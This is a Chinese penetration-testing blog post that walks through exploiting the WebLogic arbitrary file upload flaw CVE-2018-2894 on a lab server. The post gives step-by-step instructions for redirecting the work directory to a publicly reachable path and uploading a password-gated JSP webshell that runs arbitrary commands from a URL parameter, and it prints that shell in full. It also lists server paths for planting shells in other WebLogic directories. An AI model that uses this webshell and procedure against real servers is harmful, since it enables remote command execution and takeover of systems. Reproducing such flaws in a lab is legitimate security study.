渗透测试系列:weblogic文件路径确认(cve-2020-14882)




一. Weblogic任意文件上传漏洞(CVE-2018-2894)

漏洞复现

1. 开启burp,寻找时间戳

在这里插入图片描述
在这里插入图片描述
打开burp内嵌浏览器

1.访问http://192.168.42.157:7001/ws_utc/config.do,将Work Home Dir替换成

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

ws_utc应用的静态文件css目录是无需访问权限的,而默认的工作目录即使上传成功,也无法访问。 如果不更改,访问会返回404

然后点击提交
在这里插入图片描述

在这里插入图片描述

2.点击安全–>添加,然后名字和密码随便写,点击浏览,将自己的webshell上传上去

在这里插入图片描述

在这里插入图片描述

这里用shell.jsp,代码如下:

<%
    if("023".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>

3. 获得时间戳

时间戳的主要 目的在于通过一定的技术手段,对数据产生的时间进行认证,从而验证这段数据在产生后是否经过篡改

方式一:

在这里插入图片描述

方式二

点击链接右键即可

在这里插入图片描述

4. 查看上传的shell文件

burp目录下面没有没事,

在这里插入图片描述

访问http://192.168.42.157:7001/ws_utc/css/config/keystore/[时间戳]_[文件名],即可执行webshell

http://192.168.42.157:7001/ws_utc/css/config/keystore/1705034868556_shell.jsp?pwd=023&i=ls

在这里插入图片描述

http://192.168.42.157:7001/ws_utc/css/config/keystore/1705034868556_shell.jsp

在这里插入图片描述

可看到成功上传webshell,这里127.0.0.1:90是因为我做了端口映射

注意:
1.为什么要替换Work Home Dir?

因为我们需要一个可以访问的路径,当前的工作目录是不能被外网访问到的,开始页面提示自动部署应用后跳转到后台管理页面,这个我们修改的Work Home Dir就是部署的web应用的目录,该目录外网可以访问到,并且不需要权限,外网访问它里面的文件就是http://your-ip:7001/ws_utc/css/文件名

2.为什么访问路径要这么写?

因为前面设置了工作目录为ws_utc应用的静态文件css目录,该目录是无需权限的,后面的路径是调试java代码出的路径

访问路径
http://192.168.42.157:7001/ws_utc/css/shell.jsp

在这里插入图片描述

这里的上传路径为

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css/shell.jsp

总结

目前已经确定了两种上传方式

前提

访问http://192.168.42.157:7001/ws_utc/config.do,将Work Home Dir替换成

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
一种是
  1. 访问 http://192.168.42.157:7001/ws_utc/config.do中的安全,添加用户名密码shell文件

  2. 添加的同时需要F12brup捕获

  3. 查看时间戳

  4. 访问http://192.168.42.157:7001/ws_utc/css/config/keystore/[时间戳]_[文件名],即可执行webshell

  5. 进入dokcer容器里面并没看到这个shell文件

另外一种是

用weblogic利用工具直接上传

这里的上传路径为

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css/shell.jsp

访问路径为

http://192.168.42.157:7001/ws_utc/css/shell.jsp

这种方式在docker容器里面可以看到对应的shell文件

后题

在这里插入图片描述

二. weblogic文件上传路径

将shell写到uddiexplorer目录

uddiexplorer目录上传shell

/u01/domains/osb/servers/AdminServer/tmp/_WL_internal/uddiexplorer/随机字符/war/666.jsp

shell 访问

http://xxxx/uddiexplorer/shell.jsp

将shell写到images目录

上传目录

/Oracle/Middleware/wlserver_10.3/server/lib/consoleapp/webapp/framework/skins/wlsconsole/images/shell.jsp

访问目录

http://*.*.*.*:7001/console/framework/skins/wlsconsole/images/shell.jsp

将shell写到应用安装目录

上传目录

\Oracle\Middleware\user_projects\domains\application\servers\AdminServer\tmp\_WL_user\项目名\随机字符\war\shell.jsp

访问目录

http://*.*.*.*:7001/项目名/shell.jsp







tomyyyyy

weblogic文件上传路径

番茄酱料

Weblogic任意文件上传漏洞(CVE-2018-2894)

posted @ 2024-09-12 18:05  坦笑&&life  阅读(18)  评论(0编辑  收藏  举报  来源